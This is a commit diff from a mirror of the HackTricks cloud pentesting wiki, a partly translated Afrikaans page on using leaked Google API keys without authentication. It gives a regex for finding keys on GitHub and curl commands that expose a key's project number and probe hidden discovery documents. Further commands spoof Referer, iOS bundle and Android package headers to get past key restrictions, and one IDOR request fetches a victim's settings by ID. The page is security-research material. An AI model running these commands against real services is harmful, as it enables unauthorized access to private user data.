mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-unauthenticated-e
This commit is contained in:
+105
-14
@@ -1,30 +1,30 @@
|
||||
# GCP - API Sleutels Ongeauthentiseerde Enum
|
||||
# GCP - API Keys Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Sleutels
|
||||
## API Keys
|
||||
|
||||
Vir meer inligting oor API Sleutels, kyk:
|
||||
Vir meer inligting oor API Keys, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### OSINT tegnieke
|
||||
### OSINT techniques
|
||||
|
||||
**Google API Sleutels word wyd gebruik deur enige soort toepassings** wat van die kliëntkant gebruik maak. Dit is algemeen om hulle in webwerf se bronkode of netwerk versoeke te vind, in mobiele toepassings of net deur regexes te soek op platforms soos Github.
|
||||
**Google API Keys word wyd gebruik deur enige soort applications** wat van die client side gebruik maak. Dit is algemeen om hulle te vind in websites source code of network requests, in mobile applications, of net deur regexes te soek in platforms soos Github.
|
||||
|
||||
Die regex is: **`AIza[0-9A-Za-z_-]{35}`**
|
||||
|
||||
Soek dit byvoorbeeld in Github soos: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F\&type=code\&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F&type=code&ref=advsearch)
|
||||
Soek daarvoor byvoorbeeld in Github via: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F\&type=code\&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F&type=code&ref=advsearch)
|
||||
|
||||
### Kontroleer oorsprong GCP projek
|
||||
### Check origin GCP project
|
||||
|
||||
Dit is uiters nuttig om te kontroleer **tot watter GCP projek 'n API sleutel wat jy gevind het behoort**. Ons het verskillende opsies:
|
||||
Dit is uiters nuttig om te kyk na **watter GCP project ’n API key wat jy gevind het, behoort**. Ons het verskillende opsies:
|
||||
|
||||
- Kontak `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key`
|
||||
- Contact `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>`
|
||||
|
||||
Vir die doeleindes van beknoptheid is die uitvoer afgekort, maar in die volledige uitvoer verskyn die projek ID meer as 5 keer.
|
||||
Vir bondigheid is die output ingekort, maar in die volledige output verskyn die project ID meer as 5 keer
|
||||
```bash
|
||||
curl -s "https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=AIzaSyD[...]uE8Y"
|
||||
|
||||
@@ -34,9 +34,9 @@ curl -s "https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectCo
|
||||
"message": "Identity Toolkit API has not been used in project 943955951114 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/identitytoolkit.googleapis.com/overview?project=943955951114 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.",
|
||||
[...]
|
||||
```
|
||||
- Kontak `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>`
|
||||
- Kontak `https://identitytoolkit.googleapis.com/v1/projects?key=<api-key>`
|
||||
|
||||
Vir die doeleindes van beknoptheid is die uitvoer afgekort, maar in die volledige uitvoer verskyn die projek-ID meer as 5 keer.
|
||||
Vir bondigheid is die uitvoer verkort, maar in die volledige uitvoer verskyn die project ID meer as 5 keer
|
||||
```bash
|
||||
curl -s "https://identitytoolkit.googleapis.com/v1/projects?key=AIzaSyD[...]uE8Y"
|
||||
|
||||
@@ -69,8 +69,99 @@ resource: projects/89123452509
|
||||
service: cloudresourcemanager.googleapis.com
|
||||
reason: AUTH_PERMISSION_DENIED
|
||||
```
|
||||
### Brute Force API eindpunte
|
||||
### Ontdekking-dokument-gedrewe API recon
|
||||
|
||||
Soos jy dalk nie weet watter API's in die projek geaktiveer is nie, sal dit interessant wees om die hulpmiddel [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) te gebruik en te kyk **wat jy met die API-sleutel kan toegang.**
|
||||
Sodra jy 'n geldige key het, toets nie net die ooglopende public APIs nie. In Google-omgewings kan **discovery documents** werk as 'n machine-readable attack-surface map wat **resources, methods, paths, HTTP verbs, parameters, and request/response schemas** blootstel.
|
||||
|
||||
Nuttige targets:
|
||||
```bash
|
||||
# Public / common path
|
||||
curl -s 'https://serviceusage.googleapis.com/$discovery/rest?key=<api-key>'
|
||||
|
||||
# Hidden docs behind a visibility label
|
||||
curl -s 'https://serviceusage.googleapis.com/$discovery/rest?labels=GOOGLE_INTERNAL&key=<api-key>'
|
||||
```
|
||||
Notas:
|
||||
|
||||
- Vergelyk die dokumentgrootte en metode-telling met en sonder labels soos `GOOGLE_INTERNAL`.
|
||||
- ’n **Ware niebestaande metode** gee gewoonlik ’n **HTML 404** terug. ’n **JSON 404** met `Method not found.` kan aandui dat die metode bestaan maar die **API key project** ’n vereiste visibility label ontbreek.
|
||||
- Sommige first-party APIs is makliker om via `*.clients6.google.com` of undocumented `*-pa.googleapis.com` hosts te bereik as via die public API explorer.
|
||||
|
||||
Dit is veral nuttig om **internal/admin APIs wat per ongeluk aan die Internet blootgestel is** te enum en om custom fuzzers vanuit die schema te bou in plaas daarvan om JSON-velde handmatig te raai.
|
||||
|
||||
### Key ownership filtering at scale
|
||||
|
||||
As jy baie Google API keys uit APKs, browser traffic, IPAs of binaries versamel, wil jy dalk vinnig identifiseer **watter project elke key besit** en of dit aan die target company behoort.
|
||||
|
||||
’n Praktiese truuk is om doelbewus ’n API te roep wat **nie vir die key enabled is nie**. Google lek dikwels die onderliggende **project number** in die error:
|
||||
```bash
|
||||
curl -s 'https://protos.googleapis.com/$discovery/rest?key=<api-key>'
|
||||
```
|
||||
Soek vir boodskappe soos:
|
||||
```text
|
||||
Protos API has not been used in project 244648151629 before or it is disabled
|
||||
```
|
||||
Daardie projeknommer kan dan gekorreleer word met ander endpoints, leaked metadata, of interne maatskappy-karteringslogika om **in-scope first-party keys** van kliënt- / derdeparty-projekte te skei.
|
||||
|
||||
### Hanteer key-beperkings voordat jy ’n key weggooi
|
||||
|
||||
’n Beperkte key is nie noodwendig nutteloos nie. Behou die konteks waar die key gevind is en herhaal requests met die ooreenstemmende headers:
|
||||
```bash
|
||||
# Browser restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'Referer: https://target.google.com' \
|
||||
'https://servicemanagement.googleapis.com/v1/operations'
|
||||
|
||||
# iOS restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'X-Ios-Bundle-Identifier: com.google.GoogleMobile' \
|
||||
'https://servicemanagement.clients6.google.com/v1/operations'
|
||||
|
||||
# Android restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'X-Android-Package: com.google.android.settings.intelligence' \
|
||||
-H 'X-Android-Cert: <sha1-signing-cert>' \
|
||||
'https://servicemanagement.clients6.google.com/v1/operations'
|
||||
```
|
||||
Algemene beperkingklasse:
|
||||
|
||||
- **HTTP Referer**
|
||||
- **iOS bundle ID** (`X-Ios-Bundle-Identifier`)
|
||||
- **Android package + signing cert** (`X-Android-Package` + `X-Android-Cert`)
|
||||
- **Server IP** beperkings, wat oor die algemeen nie op afstand omseil kan word nie
|
||||
|
||||
### Eerste-party auth / origin whitelist wenke
|
||||
|
||||
Sommige Google web APIs aanvaar 'n mengsel van **session cookie + first-party authorization headers** en word gehuisves op `*.clients6.google.com`. Wanneer jy hierdie APIs toets:
|
||||
|
||||
- Hou `Origin` en `Referer` versoenbaar met die product wat normaalweg die API gebruik.
|
||||
- 'n `401` met `reason: SESSION_COOKIE_INVALID` kan eintlik beteken dat die **origin nie whitelisted is nie**, nie dat die cookie sleg is nie.
|
||||
- Publiek bereikbare APIs wat net interne origins soos `*.corp.google.com` aanvaar, is hoëwaarde-kandidate vir broken access control review.
|
||||
|
||||
### Brute force geaktiveerde APIs en fuzz gedokumenteerde methods
|
||||
|
||||
Aangesien jy dalk nie weet watter APIs in die project geaktiveer is nie, sal dit interessant wees om die tool [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) te run en te kyk **waarby jy met die API key kan uitkom.**
|
||||
|
||||
Nadat jy bereikbare services geïdentifiseer het, verkies **schema-driven fuzzing** bo blind raai:
|
||||
|
||||
- Genereer requests direk vanaf discovery docs
|
||||
- Reproduceer dieselfde request met **al die bekende werkende keys**
|
||||
- Normaliseer errors sodat jy **invalid input** kan onderskei van **visibility-label / auth / restriction** failures
|
||||
- Vir numeriese object identifiers, probeer naby waardes soos `ID-1`, `ID+1`, `1`, `2`, `100`, `1000`
|
||||
- Rapporteer slegs wanneer jy **cross-user data access** of 'n ander werklike authorization failure bevestig; blote enumeration is gewoonlik nie op sigself genoeg nie
|
||||
|
||||
### Algemene vuln pattern: unauthenticated direct-object reference
|
||||
|
||||
'n Herhalende bug pattern is 'n **internal/admin API** wat 'n victim-controlled identifier aanvaar (byvoorbeeld `gaiaId`) en slegs valideer dat die request 'n bruikbare API key dra, maar **nooit kyk of die caller geautoriseer is om toegang tot daardie spesifieke object te kry nie**.
|
||||
```bash
|
||||
curl 'https://gfibervoice-pa.googleapis.com/v1/BssGetVoiceSettings?gaiaId=<victim_gaia_id>' \
|
||||
-H 'X-Goog-Api-Key: <api-key>'
|
||||
```
|
||||
As die eindpunt ’n ander gebruiker se foonnommer, e-posadres, instellings, of ander private velde teruggee, behandel dit as ’n klassieke **IDOR / broken access control**-issue.
|
||||
|
||||
## References
|
||||
|
||||
- [Hacking Google with AI: AI-Assisted Discovery-Document Fuzzing of Google APIs](https://brutecat.com/articles/hacking-google-with-ai)
|
||||
- [Google APIs Explorer](https://developers.google.com/apis-explorer)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user